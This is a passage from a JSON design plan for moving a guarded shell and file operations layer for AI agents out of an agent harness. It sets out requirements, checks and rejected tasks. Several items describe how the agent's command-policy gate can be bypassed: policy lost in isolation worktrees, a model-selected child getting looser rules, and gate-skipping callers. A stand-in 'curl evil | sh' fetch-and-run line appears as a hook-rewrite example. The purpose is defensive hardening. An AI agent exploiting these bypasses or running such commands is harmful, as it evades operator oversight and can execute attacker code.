AND dependencies[0].startswith('agentfront'). colleague therefore CANNOT add shell-cli as a base dependency until that test is relaxed in the same PR \u2014 the migration is blocked by colleague's own fail-closed guard, which is correct behaviour but must be sequenced deliberately rather than discovered at cutover. Note also a posture tension worth surfacing explicitly: that test's docstring states 'any second base dependency is a zero-deps-posture breach', while shell-cli's guidance records that the operator decided shell-cli clears the same bar and becomes a sanctioned second base dep. Both statements cannot stand unedited; colleague's docstring needs updating as part of the same change." + }, + { + "id": "h30", + "kind": "honesty", + "text": "The colleague PR that adds the shell-cli dependency also updates test_base_dependency_is_exactly_agentfront and its docstring in the same commit, so colleague's suite is never red between the two changes." + }, + { + "id": "c43", + "kind": "requirement", + "text": "ROLLBACK: PyPI is append-only. A published shell-cli release can be yanked but never removed, so 'undo the release' is not a recovery path \u2014 any colleague install that already resolved the bad version keeps it, and yanking only affects future resolution. Because publish is automatic on merge to main and the publish job gates on pytest alone (not the lint gates, and not version-check, which runs only on pull_request), a merge that is green on tests but broken in behaviour reaches PyPI with no human step in between. The recovery path must be forward-only: a fix-forward release plus a documented yank procedure, and colleague's floor must be movable without a colleague code change." + }, + { + "id": "h31", + "kind": "honesty", + "text": "A deliberately broken release can be recovered from by publishing a higher fixed version and yanking the bad one, with the procedure written down before Milestone 1 publishes anything colleague depends on \u2014 not improvised during an incident." + }, + { + "id": "c44", + "kind": "requirement", + "text": "MEDIA LIMIT TRAP: view_media's real constraints live in the HANDLER, not in media.py, so 'vendor the ~50-line media slice' silently loses them. tools.py:840 enforces MAX_MEDIA_BYTES = 4 MiB (tools.py:66) BEFORE calling media.validate_attachment, which independently enforces its own MAX_ATTACHMENT_BYTES = 16 MiB (media.py:20). The tighter check wins today, so view_media's effective cap is 4 MiB; vendoring only validate_attachment plus build_part would loosen it 4x to 16 MiB. Separately, tools.py:849 rejects any non-image media type even though media.py's _MEDIA_TYPES includes wav/mp3/ogg/flac \u2014 so images-only is also a handler-level rule absent from the module. Issue #1 section 10 lists 'media size/type limits remain compatible' as a compatibility invariant, and both of these would breach it silently rather than loudly." + }, + { + "id": "h32", + "kind": "honesty", + "text": "A parity test asserts a 5 MiB PNG is REFUSED and an audio file is refused with the images-only message, run against both the colleague path and the shell-cli path, so a loosened cap fails rather than passing quietly." + }, + { + "id": "c45", + "kind": "boundary", + "text": "FALSE SAFETY CLAIM IN THE EVIDENCE SURFACE: for a raw host shell operation the changed-paths effect list is not merely sometimes incomplete, it is fundamentally unknowable \u2014 you cannot determine what an arbitrary shell command touched without scanning the filesystem. Issue #1 section 8 already requires a completeness marker, but the marker must therefore DEFAULT to incomplete for process.shell and never be omitted, or evidence reporting 'changed_paths: []' reads as 'nothing changed' when it means 'nothing observed'. colleague has already been bitten by exactly this: tests/test_write_apply_isolation.py:304-329 pins a fix (PR 207 Bug 2) where a self-commit whose edits came only through run_command reported no changed files despite a real commit. An evidence record that implies observability the runner does not have is a false safety claim in structured data rather than in prose, and the honesty regex cannot catch it." + }, + { + "id": "h33", + "kind": "honesty", + "text": "A process.shell operation that writes a file it never declared reports effects_complete = false; a test asserts the marker is false for shell operations and that no consumer renders an empty effect list as 'no changes'." + }, + { + "id": "c46", + "kind": "boundary", + "text": "'Secrets are never recorded' (issue #1 section 8) is achievable for DECLARED secrets in the environment/mount policy, but not for secrets that appear in captured stdout/stderr \u2014 a command such as 'env', 'cat .env', or a verbose curl emits them into output the evidence surface is required to capture. The claim must be scoped honestly to what redaction actually covers (declared secret values and known env keys), with output redaction described as best-effort pattern matching, or the evidence surface makes precisely the kind of overclaim this project exists to avoid. This is the same guard-not-a-sandbox failure mode relocated from prose into a data contract." + }, + { + "id": "h34", + "kind": "honesty", + "text": "The evidence contract states which secret classes are redacted and which are not, and a test demonstrates that a declared secret is redacted while acknowledging an undeclared secret echoed by a command is not." + }, + { + "id": "c47", + "kind": "requirement", + "text": "CONCURRENCY: colleague serializes worktree administration behind an advisory exclusive fcntl.flock over a per-repo lock file (worktrees.py:138-170, _ADMIN_LOCK_NAME in the runtime state dir). Issue #1 section 5 moves generic worktree add/remove/prune to shell-cli, so that lock must travel with the mechanism \u2014 otherwise parallel colleague children racing worktree add/remove against a shared repo lose their mutual exclusion the moment the operation is 'just' delegated. Three properties of the existing lock must be preserved deliberately, not reimplemented casually: it degrades rather than raising when fcntl is unavailable (non-POSIX) or the lock file cannot be opened, it never blocks a run that has no lock available, and it is explicitly NOT reentrant (teardown_all calls the already-guarded worktree_remove sequentially, never while holding its own lock). A reentrant-by-accident redesign in shell-cli would deadlock colleague's teardown path." + }, + { + "id": "h35", + "kind": "honesty", + "text": "Two concurrent shell-cli worktree operations against the same repo serialize, a non-POSIX host degrades to unlocked rather than crashing, and colleague's teardown_all path completes without deadlock under the new implementation." + }, + { + "id": "c49", + "kind": "requirement", + "text": "VERIFIED POLICY BYPASS IN COLLEAGUE TODAY (not a migration risk \u2014 a present-tense bug). Repo-level run_command policy silently fails OPEN on the default 'colleague work' path. Chain: colleague/cli/_commands/work.py:1934 always isolates (isolate=True); _isolate_for_write rewrites task.repo_path to the worktree (work.py:309, worktrees.py:413); loop.py:4096 re-resolves policy by path via load_policy(task.repo_path); and .colleague/approvals.json is gitignored, so 'git worktree add' \u2014 which checks out TRACKED files only \u2014 never materializes it. EMPIRICALLY CONFIRMED with a scratch probe: load_policy on the operator repo returns is_empty=False and denies curl with a reason; load_policy on a worktree of that same repo returns is_empty=True and ALLOWS curl with no reason and no diagnostic anywhere. The same mechanism voids repo-level hooks.json approvals. Two honest limits on this claim: user-level ~/.colleague/approvals.json still resolves normally, so only REPO-level policy is lost; and the probe exercised load_policy directly rather than a full agent run, though every link in the chain is cited. tests/test_policy_all_engines.py drives an in-place tmp_path repo and never exercises the isolation worktree, which is why CI is green." + }, + { + "id": "h37", + "kind": "honesty", + "text": "A test authors a repo-level approvals.json with a deny, runs the isolated work path, and asserts the denial still fires \u2014 i.e. policy is resolved from the operator's trusted control context, not from the mutable work root." + }, + { + "id": "c50", + "kind": "requirement", + "text": "FAIL-OPEN SILENCE is the amplifier that turns the worktree resolution gap into a bypass. colleague/policy.py:229-230 returns Verdict(True) unconditionally when a section is absent, which is correct back-compat semantics, but nothing distinguishes 'the operator declared no policy' from 'the operator declared a policy that failed to load'. Policy.is_empty() exists (policy.py:177) and nothing warns on it. Issue #1 section 7 already requires that absent policy and malformed configured policy stay distinct states; this finding extends that to a third state \u2014 DECLARED BUT UNRESOLVED \u2014 which is the one that actually bit. shell-cli must emit a diagnostic when a policy file was expected and none resolved, and must never let that condition read as allow-all without saying so in evidence." + }, + { + "id": "h38", + "kind": "honesty", + "text": "An environment configured to expect a policy that resolves to nothing produces a visible diagnostic and marks the operation's evidence as running under no policy \u2014 it never silently reports an ordinary allowed verdict." + }, + { + "id": "c51", + "kind": "boundary", + "text": "SCOPE HONESTY ON THE POLICY GATE: run_command is one of six process-spawning tools and the only one policy gates (loop.py:901-902 returns early for every other tool). run_tests, culture, devague, memory, and subagent/subagents all spawn processes with model-controlled arguments behind their own per-tool allowlists \u2014 colleague/culture.py:10-11 states this outright: 'These tools are UNGATED: they execute like run_command does.' None uses shell=True, so this is an expectation gap rather than arbitrary execution, but an operator writing run_command allow git very reasonably believes they have constrained execution when five other subprocess paths remain open. shell-cli inherits this: normalizing everything into Operation makes the gap FIXABLE for the first time, but the policy's documented scope must state plainly which operation kinds it evaluates rather than letting 'operation policy' imply all of them." + }, + { + "id": "h39", + "kind": "honesty", + "text": "The policy surface documents exactly which operation kinds it gates, and 'shell policy explain' reports the ungated kinds as explicitly ungated rather than omitting them." + }, + { + "id": "c52", + "kind": "requirement", + "text": "SUBAGENT POLICY IS RE-RESOLVED, NEVER INHERITED. run_subagent calls eng.work(child_task, child_config) (subagents.py:398) with a config carrying no policy field (subagents.py:354-357), so each child loads its own Policy by path. Two consequences: batch children get a NESTED worktree (subagents.py:532-536), so the untracked-file gap recurs one level deeper; and because the model chooses the child's model (subagents.py:221-244) and per-model overlays replace whole sections (policy.py:394), a model-switched child can land on a MORE PERMISSIVE run_command section than its parent. The overlay is still operator-authored on disk, so this is a sharp edge rather than a bypass \u2014 but the selection is model-driven, not operator-driven. No test covers subagent policy inheritance at all. shell-cli should thread the resolved Policy into child environments rather than letting each re-resolve." + }, + { + "id": "h40", + "kind": "honesty", + "text": "A child environment's effective policy is derived from the parent's snapshot, and a test asserts a child cannot obtain a broader run_command allowance than its parent by selecting a different model." + }, + { + "id": "c53", + "kind": "boundary", + "text": "The engine boundary is clean today but structurally unenforced. Exactly two engines exist (mock, vllm-openai, registered via the colleague.engines entry-point group), both route through loop.run and therefore the single _run_tool_call, and tests assert engine modules never import colleague.policy. However the gate lives in the LOOP, not in the executor, so any third-party wheel registering under colleague.engines \u2014 which registry.load will load (registry.py:50-59) \u2014 can call ToolExecutor.execute directly and skip the gate entirely. shell-cli's lifecycle pipeline should place the policy evaluation INSIDE the operation dispatch rather than in a caller, so the gate cannot be routed around by a new caller." + }, + { + "id": "h41", + "kind": "honesty", + "text": "A caller that invokes shell-cli's executor directly, bypassing any loop, still gets the policy verdict \u2014 verified by calling the dispatch entry point with no orchestration layer present and observing a denial." + }, + { + "id": "c55", + "kind": "boundary", + "text": "Process constraints bind every slice: the version-check CI job fails any PR whose pyproject.toml version matches main (including docs-only and CI-only PRs), and four lint gates plus 'teken cli doctor . --strict' run on every PR, while every merge to main publishes to PyPI. Each vertical slice is therefore a full PR carrying a version bump. This is a fact about release mechanics only \u2014 it must NOT be used to argue for larger PRs. Review size is determined by what can be reviewed coherently; versioning overhead is not a reason to batch unrelated work." + }, + { + "id": "h55", + "kind": "honesty", + "text": "Every merged PR carries a version bump and passes all lint gates; no slice is batched with unrelated work solely to amortise release overhead." + }, + { + "id": "c56", + "kind": "boundary", + "text": "The policy gate must receive the REWRITTEN arguments, not the original call. colleague/loop.py:962 re-wraps as ToolCall(call.id, call.name, arguments) precisely so a pre_tool hook rewrite is still gated; the in-code comment at :957-963 states this as the ordering contract. The bypass a naive extraction reintroduces runs in this direction: an ALLOWED original (say 'git status') is rewritten by a hook into a DENIED command (say 'curl evil | sh'), and a gate that inspects the ORIGINAL sees an allowed token, passes it, and the denied command executes. The reverse direction \u2014 denied original rewritten to an allowed shape \u2014 merely over-blocks and is not a security failure. This is the single most security-relevant line in the extraction." + }, + { + "id": "h56", + "kind": "honesty", + "text": "A test proves the direction: a pre_tool hook rewriting an ALLOWED command into a DENIED one is caught by the gate, because the gate inspects the rewritten arguments rather than the original call." + }, + { + "id": "c58", + "kind": "before_state", + "text": "The file-and-shell surface lives inside colleague, welded to one host: 21 process-spawn literals across 15 modules (scanner-verified at colleague 28fee290c51fc4310b9fc576981809ad5c3132c6 \u2014 an earlier hand count of 16 was wrong), a ToolExecutor mixing six generic primitives with colleague-specific tools, and a policy evaluator coupled to colleague's config-dir layout. Every other harness that needs the same primitives reimplements them \u2014 and reimplements the safety model with them, usually worse." + }, + { + "id": "h43", + "kind": "honesty", + "text": "The 21-spawn / 15-module inventory is reproducible by scripts/colleague_inventory.py at the pinned commit, and the figure in every guidance surface is derived from the scanner rather than transcribed." + }, + { + "id": "c59", + "kind": "requirement", + "text": "DUAL-IMPLEMENTATION DRIFT: Milestone 1 does not remove colleague's implementation and Milestone 2 runs old and new characterization in parallel, so both copies are live while colleague ships continuously (1.51.0 today). A bug fixed in one copy silently diverges from the other, and the characterization suite then compares a fixed implementation against an unfixed one \u2014 a false failure, or against stale fixtures, a false pass. NOTE: 'mirror the change in the same PR' is IMPOSSIBLE across repository boundaries \u2014 a single PR cannot span shell-cli and colleague. The workable mechanisms are: coordinated paired PRs landed together, or a source-hash gate where colleague's copy of each handler is hashed and CI fails when the hash moves without a matching shell-cli change. Above all, MINIMIZE THE WINDOW: the shorter the period both implementations are live, the smaller this whole class of risk." + }, + { + "id": "h44", + "kind": "honesty", + "text": "A change to either copy of the six handlers during the migration window is detected mechanically \u2014 by a source-hash gate or a paired-PR check \u2014 rather than relying on a human remembering, and the characterization fixtures are regenerated from colleague at a pinned commit rather than hand-maintained." + }, + { + "id": "c60", + "kind": "requirement", + "text": "HOOKS NEED A DELIBERATE HOOK-SPECIFIC POLICY \u2014 this is a STANDALONE finding, explicitly NOT part of migration parity. Today hooks are trusted operator configuration that lacks runtime command gating: hooks.py:405-407 runs shell=True on every tool call, hooks are subject only to check_file and never to check_run_command, and hook_approval_verdict returns Verdict(True) when no token resolves to an existing repo file (hooks.py:310-316), so an INLINE hook command is ungated even with a hooks section present. hooks.json is untracked, so the isolation worktree voids the hooks approval section by the same mechanism as c49. The correct remedy is NOT to silently apply run_command's allow/deny rules to hooks \u2014 that would retroactively gate operator-authored configuration under rules written for model-authored commands, changing behaviour operators rely on. Introduce a hook-specific policy surface deliberately, as its own reviewed change with its own migration story. ONE THING TO PRESERVE REGARDLESS: loop.py:953-955 lets a hook rewrite ARGUMENTS ONLY \u2014 call.name passes unchanged to execute() at :966 \u2014 and the policy gate runs after the rewrite." + }, + { + "id": "h45", + "kind": "honesty", + "text": "Hook gating ships as its own deliberate change with operator-visible migration notes, and no shell-cli milestone silently subjects existing hooks to run_command's allow/deny lists. The arguments-only rewrite contract and the rewrite-then-gate ordering hold in the extracted implementation." + }, + { + "id": "c61", + "kind": "announcement", + "text": "shell-cli is the guarded local operations plane for AI agents: every work-affecting local operation an agent takes \u2014 read, write, edit, list, media, shell, tests, lint, hooks, git/worktree, trusted CLI invocation \u2014 is normalized into one Operation, evaluated against an operator policy snapshot, executed in an explicitly selected environment (host or container), and returned with structured evidence. shell-cli owns NORMALIZATION, PREVIEW, OPERATION-POLICY AUTHORIZATION, EXECUTION, and EVIDENCE. Colleague decides why, when, and which \u2014 all cognitive planning remains Colleague's. (Issue #1 section 1 words shell-cli's role as 'plan, authorize, execute, observe, record'; 'plan' there means planning the OPERATION \u2014 normalize and preview it \u2014 not planning the work, and this wording makes that unambiguous rather than contradicting the issue.)" + }, + { + "id": "h46", + "kind": "honesty", + "text": "One operation engine genuinely backs both surfaces: a test drives the same Operation through the library API and through the CLI and asserts identical OperationResult status, policy verdict, and effects. If the CLI can reach an execution path the library cannot, the announcement is false." + }, + { + "id": "c64", + "kind": "requirement", + "text": "PUBLISHING PREVENTION, not just recovery. The publish job currently gates on pytest alone. Before Milestone 1 publishes anything colleague depends on, publishing must depend on the COMPLETE test/lint/honesty suite; the wheel must be built and installed into a clean environment; and a CLI/import smoke test must run against that INSTALLED wheel rather than the source tree. colleague's dependency must be bounded \u2014 'shell-cli>=0.8,<0.9' style \u2014 until shell-cli reaches 1.0. Fix-forward and yanking remain the recovery path, but prevention belongs in the contract too." + }, + { + "id": "h59", + "kind": "honesty", + "text": "A release cannot reach PyPI without the full suite green, a clean-environment wheel install, and a smoke test executed against the installed wheel; and colleague's pin has an upper bound until shell-cli is 1.0." + }, + { + "id": "c65", + "kind": "requirement", + "text": "HOSTRUNNER TIMEOUT AND CANCELLATION SEMANTICS must be explicit, not incidental. Start commands in their own PROCESS GROUP. On timeout or cancellation: terminate the group, wait briefly, then kill. Record the termination signal and the escalation path in evidence, so a killed operation is distinguishable from one that exited on its own. Document the platforms where orphan prevention is incomplete rather than implying it is universal \u2014 this is the same guard-not-a-sandbox honesty discipline applied to process lifecycle." + }, + { + "id": "h60", + "kind": "honesty", + "text": "A command that ignores SIGTERM is escalated to kill and its evidence records both the signal and the escalation; a command spawning children has the whole group terminated; and platforms with incomplete orphan prevention are named in documentation." + }, + { + "id": "c66", + "kind": "requirement", + "text": "VERSIONED CONTRACTS: Operation, OperationResult, and persisted evidence each carry a schema_version. Because 'shell operation show' implies durable retrieval, the plan must decide WHERE evidence is stored, its RETENTION policy, and what happens WHEN RECORDING FAILS. Evidence failure must never turn an executed action into an unrecorded success \u2014 the result marks degraded evidence honestly (issue #1 section 8). Without a schema_version, a consumer reading an evidence record written by a different shell-cli version cannot tell whether absent fields mean 'not applicable' or 'not yet recorded'." + }, + { + "id": "h61", + "kind": "honesty", + "text": "A consumer can read schema_version off any Operation, OperationResult, or persisted evidence record; retention and storage location are documented; and a forced evidence-write failure yields a result explicitly marked as degraded rather than a silent success." + }, + { + "id": "c67", + "kind": "requirement", + "text": "The urgent colleague security fix must stay SMALL and must not become a behavioural redesign. The smallest safe fix resolves policy and hooks from the operator/source root, carries that source-root identity through nested worktrees and children, and PRESERVES today's per-model overlay semantics unchanged. The separate hardening \u2014 defining a child's policy as a restriction of its parent, child_effective = parent_cap INTERSECT source_root_child_model_policy, with deny winning and allowlists intersecting \u2014 is valuable but introduces new policy-composition semantics and must ship as its own separately reviewed change. Bundling them risks altering legitimate model-overlay behaviour during a security release." + }, + { + "id": "h62", + "kind": "honesty", + "text": "The security release changes policy RESOLUTION only: a test shows per-model overlay behaviour is byte-identical before and after, while repo-level policy now survives isolation. The parent-cap intersection ships separately with its own review and migration notes." + }, + { + "id": "c68", + "kind": "boundary", + "text": "WEBGLASS IS A SEPARATE REPOSITORY AND A SEPARATE COLLEAGUE CAPABILITY SEAM. webglass-cli owns web search/navigation semantics; it is not a shell-cli milestone, not a shell-cli dependency, and no plan task in this repo implements or integrates it. The ONLY thing that crosses between WebGlass and shell-cli is PROVIDER-NEUTRAL ARTIFACT TRANSFER \u2014 a fetched artifact handed across as neutral data, with no shared contracts, no imports in either direction, and no coupling of one's release to the other's. colleague composes both independently as separate capability providers." + }, + { + "id": "h63", + "kind": "honesty", + "text": "No shell-cli module imports or invokes webglass, and no plan task in this repo depends on a webglass release. Artifact transfer between them uses neutral data shapes owned by neither." + } + ], + "tasks": [ + { + "id": "t1", + "summary": "Fix colleague's policy resolution: snapshot policy+hooks from the operator/source root before worktree creation, inject into isolated loops and subagents, and distinguish absent / malformed / expected-but-unresolved", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "A repo-level approvals.json with a deny still denies when 'colleague work' runs isolated \u2014 regression test over the isolation worktree path", + "A nested subagent inherits the parent's policy snapshot; a regression test covers the nested-worktree case", + "An expected-but-unresolved policy emits a visible diagnostic and is never silently reported as allow-all", + "Disclosed via private security advisory, fixed, released, then publicly disclosed \u2014 not opened as a public issue first" + ], + "deps": [], + "covers": [ + "c49", + "h37", + "c50", + "h38" + ], + "instruction": "" + }, + { + "id": "t2", + "summary": "Post the six-part Milestone 0/1 plan as a reply on issue #1 before any implementation PR opens", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "The reply names all six items from issue #1 section 17: types, characterization tests, policy/role ordering, state mapping, parked subprocess paths, smallest first PR", + "No implementation PR merges before the reply is posted" + ], + "deps": [], + "covers": [ + "c19", + "h10" + ], + "instruction": "" + }, + { + "id": "t3", + "summary": "Audit every repository guidance surface against the operations-plane issue: AGENTS.colleague.md, README.md, docs/threat-model.md, catalog and Status sections", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "grep across all guidance surfaces finds no subclass seam and no settled question presented as open", + "No guidance surface contradicts issue #1 on the operation model, two-axis environment, profiles, or safety layering", + "docs/threat-model.md carries a per-runner split with no sentence covering both host guard and container isolation" + ], + "deps": [], + "covers": [ + "c6", + "h2", + "c39", + "h25", + "c33", + "h14", + "c8", + "h51" + ], + "instruction": "" + }, + { + "id": "t4", + "summary": "Establish the cross-repo release contract: version pin strategy, rollback runbook, and the colleague zero-deps sequencing", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "colleague's shell-cli pin is bounded on both sides, or shell-cli is 1.0+ with a written stability contract, before Milestone 2 cutover", + "The colleague PR adding the dependency updates test_base_dependency_is_exactly_agentfront AND its docstring in the same commit, so colleague's suite is never red between changes", + "A written yank-and-fix-forward runbook exists before Milestone 1 publishes anything colleague depends on", + "No commit authored under shell-cli's milestones reaches colleague without a PR in colleague's own repository" + ], + "deps": [], + "covers": [ + "c41", + "h29", + "c42", + "h30", + "c43", + "h31", + "c55", + "h55", + "c38", + "h24" + ], + "instruction": "" + }, + { + "id": "t5", + "summary": "Commit the inventory scanner with its pinned SHA and wire --check into CI as a known-debt gate", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "scripts/colleague_inventory.py --check exits 0 at the pinned commit and non-zero on any unclassified spawn path, proven against a synthetic fixture", + "CI publishes debt_remaining every run; the countdown is derived from the committed ALLOWLIST, never asserted in prose", + "Every guidance surface derives the 21-spawn/15-module figure from the scanner rather than transcribing it" + ], + "deps": [], + "covers": [ + "c23", + "h26", + "c40", + "h27", + "c58", + "h43", + "c29", + "h17" + ], + "instruction": "" + }, + { + "id": "t6", + "summary": "Build the operation lifecycle pipeline: Operation, OperationResult, Environment, and dispatch, with HostRunner as the only backend", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "The same Operation driven through the library API and through the CLI yields identical status, policy verdict, and effects", + "The CLI can reach no execution path the library cannot", + "colleague can drive all six tools through shell-cli without importing anything colleague-specific from it", + "A preview is reported as its own status and never as success" + ], + "deps": [], + "covers": [ + "c61", + "h46", + "c27", + "h15", + "c30", + "h18" + ], + "instruction": "" + }, + { + "id": "t7", + "summary": "Ship the zero-dependency and import-leak guard in the first implementation PR", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "The guard asserts [project].dependencies literally AND snapshots sys.modules before/after import", + "Adding a third-party import to shell-cli's core fails the test", + "shell-cli's import graph contains no colleague module; colleague contracts appear nowhere in shell-cli source" + ], + "deps": [ + "t6" + ], + "covers": [ + "c2", + "h48", + "c4", + "h50" + ], + "instruction": "" + }, + { + "id": "t8", + "summary": "Extend the honesty gate to cover every new shipped surface", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "Every new surface passes tests/test_honesty.py", + "Container runner documentation reads as a declared isolation boundary with a documented profile, never an affirmative isolation claim" + ], + "deps": [ + "t6" + ], + "covers": [ + "c3", + "h49" + ], + "instruction": "" + }, + { + "id": "t9", + "summary": "Port the policy evaluator with no config-dir coupling \u2014 accept explicit policy data or pre-resolved candidate paths", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "shell-cli's policy module imports nothing from colleague and resolves no config-dir layout of its own", + "colleague's existing approvals.json files load through the adapter and produce byte-identical verdicts", + "Absent, malformed, and expected-but-unresolved remain three distinct states; a malformed declared gate never becomes allow-all" + ], + "deps": [ + "t6" + ], + "covers": [ + "c26", + "h54", + "c11", + "h5" + ], + "instruction": "" + }, + { + "id": "t10", + "summary": "Snapshot policy from source_root before model mutations and generalise read-only paths", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "An operation whose work_root contains a policy file cannot change its own active authorization \u2014 test mutates policy inside work_root mid-run and asserts the source_root snapshot still governs", + "Read-only paths are a configurable plural set, not a hard-coded subtree" + ], + "deps": [ + "t9", + "t1" + ], + "covers": [ + "c12", + "h6" + ], + "instruction": "" + }, + { + "id": "t11", + "summary": "Evaluate policy INSIDE the operation dispatch, not in a caller, so a new caller cannot route around the gate", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "A caller invoking the dispatch entry point with no orchestration layer present still receives the policy verdict \u2014 verified by calling it directly and observing a denial" + ], + "deps": [ + "t9", + "t6" + ], + "covers": [ + "c53", + "h41" + ], + "instruction": "" + }, + { + "id": "t12", + "summary": "Gate on rewritten arguments: preserve the rewrite-then-evaluate ordering", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "A pre_tool-style rewrite turning an ALLOWED command into a DENIED one is caught, because the gate inspects rewritten arguments rather than the original call", + "A rewrite may change arguments only; the operation kind passes through unchanged" + ], + "deps": [ + "t11" + ], + "covers": [ + "c56", + "h56" + ], + "instruction": "" + }, + { + "id": "t13", + "summary": "Expose policy as a first-class CLI surface with honest scope reporting", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "'shell policy check' returns the same Verdict the execution path would apply \u2014 same allow/deny and same reason string", + "'shell policy explain' names which operation kinds are gated AND reports ungated kinds as explicitly ungated rather than omitting them" + ], + "deps": [ + "t9" + ], + "covers": [ + "c13", + "h7", + "c51", + "h39" + ], + "instruction": "" + }, + { + "id": "t14", + "summary": "Derive child-environment policy from the parent snapshot instead of re-resolving per child", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "A child cannot obtain a broader run_command allowance than its parent by selecting a different model", + "Nested child environments inherit the parent snapshot rather than resolving by path" + ], + "deps": [ + "t10" + ], + "covers": [ + "c52", + "h40" + ], + "instruction": "" + }, + { + "id": "t15", + "summary": "Implement confined fs.read and fs.list preserving the number-then-truncate ordering and the recoverable-error wrapper", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "A truncated read's surviving line numbers match the real file \u2014 numbering happens before truncation", + "A handler raising an unexpected exception yields a recoverable model-visible error, never a run abort", + "Paths escaping the configured root are refused" + ], + "deps": [ + "t6" + ], + "covers": [ + "c17", + "h52" + ], + "instruction": "" + }, + { + "id": "t16", + "summary": "Implement fs.write and fs.edit with a minimal executor constructor and byte accounting", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "The executor serves the six primitives without requiring spawn, batch_spawn, deepthink, or an allowlist", + "colleague composes the executor without subclassing it", + "bytes_written accounting matches colleague: full content on write, replacement bytes only on edit" + ], + "deps": [ + "t6" + ], + "covers": [ + "c18", + "h53" + ], + "instruction": "" + }, + { + "id": "t17", + "summary": "Vendor the media slice and preserve the handler-level 4 MiB cap and images-only rule", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "A 5 MiB PNG is REFUSED and an audio file is refused with the images-only message, asserted against both the colleague path and the shell-cli path", + "A source scan confirms flatten_parts and IMAGE_TOKEN_ESTIMATE are absent from shell-cli", + "colleague's five media call sites stay green against its retained copy" + ], + "deps": [ + "t6" + ], + "covers": [ + "c15", + "h8", + "c10", + "h4", + "c44", + "h32" + ], + "instruction": "" + }, + { + "id": "t18", + "summary": "Pin the six tool schemas byte-for-byte against a fixture captured from colleague at the pinned commit", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "A snapshot test asserts byte-equality including key order, _PATH_DESC interpolation, list_dir's absent 'required' key, and read_file's literal backslash escapes", + "The fixture is generated from colleague at a recorded SHA, not hand-written" + ], + "deps": [ + "t6" + ], + "covers": [ + "c16", + "h9" + ], + "instruction": "" + }, + { + "id": "t19", + "summary": "Implement process.exec and process.shell with distinct declared profiles", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "process.shell and the hook execution path carry distinct profiles in evidence, so an operator can tell from a record whether a command was model-authored or repo-authored", + "Control operations use argv vectors, never raw shell strings", + "run_command parity: fresh shell, rooted cwd, bounded timeout, current output rendering" + ], + "deps": [ + "t6", + "t11" + ], + "covers": [ + "c24", + "h12" + ], + "instruction": "" + }, + { + "id": "t20", + "summary": "Build the evidence surface with an honest effects-completeness marker", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "A process.shell operation that writes an undeclared file reports effects_complete = false", + "No consumer renders an empty effect list as 'no changes'", + "A lint operation that rewrites files reports those paths in changed-paths effects \u2014 verified by formatting a deliberately misformatted file" + ], + "deps": [ + "t6" + ], + "covers": [ + "c45", + "h33", + "c25", + "h13" + ], + "instruction": "" + }, + { + "id": "t21", + "summary": "Scope the secret-redaction claim honestly in the evidence contract", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "The contract states which secret classes are redacted and which are not", + "A test shows a declared secret is redacted while acknowledging an undeclared secret echoed by a command is not" + ], + "deps": [ + "t20" + ], + "covers": [ + "c46", + "h34" + ], + "instruction": "" + }, + { + "id": "t22", + "summary": "Implement generic git worktree primitives carrying the advisory lock and its non-reentrancy", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "Two concurrent worktree operations against the same repo serialize", + "A non-POSIX host degrades to unlocked rather than crashing, and never blocks a run with no lock available", + "colleague's teardown_all path completes without deadlock \u2014 the lock stays non-reentrant" + ], + "deps": [ + "t6" + ], + "covers": [ + "c47", + "h35" + ], + "instruction": "" + }, + { + "id": "t23", + "summary": "Build the characterization harness and prove parity against the FIXED colleague before any legacy removal", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "Both implementations run against the same fixtures in the same test session \u2014 parity is proven by execution, not inspection", + "Fixtures are captured from colleague AFTER the c49 policy fix, so the buggy behaviour is never encoded as parity", + "Schema diff count, base dependency count, and behavioural diff count are all CI assertions that fail the build when non-zero" + ], + "deps": [ + "t15", + "t16", + "t17", + "t18", + "t19" + ], + "covers": [ + "c31", + "h19", + "c36", + "h21" + ], + "instruction": "" + }, + { + "id": "t24", + "summary": "Control the dual-implementation window with a mechanical drift gate and minimize its duration", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "A change to either copy of the six handlers during the window is detected mechanically \u2014 source-hash gate or paired-PR check \u2014 not by a human remembering", + "Characterization fixtures are regenerated from colleague at a pinned commit, never hand-maintained", + "Milestones 1 and 2 are sequenced back-to-back; Milestone 1 does not start until the colleague cutover can follow promptly" + ], + "deps": [ + "t23" + ], + "covers": [ + "c59", + "h44" + ], + "instruction": "" + }, + { + "id": "t25", + "summary": "Author catalog and explain entries for every new noun and verb, in the same commit as the verb", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "Registering a verb with no catalog entry fails CI \u2014 verified by temporarily adding one and observing test_every_catalog_path_resolves fail", + "Every noun with action-verbs exposes 'overview' per the rubric gate" + ], + "deps": [ + "t13" + ], + "covers": [ + "c7", + "h3" + ], + "instruction": "" + }, + { + "id": "t26", + "summary": "Design a deliberate hook-specific policy surface as its own reviewed change, separate from migration parity", + "origin": "llm", + "status": "rejected", + "acceptance_criteria": [ + "Hook gating ships with operator-visible migration notes as its own change", + "No milestone silently subjects existing hooks to run_command's allow/deny lists", + "The arguments-only rewrite contract and rewrite-then-gate ordering hold in the extracted implementation" + ], + "deps": [ + "t11" + ], + "covers": [ + "c60", + 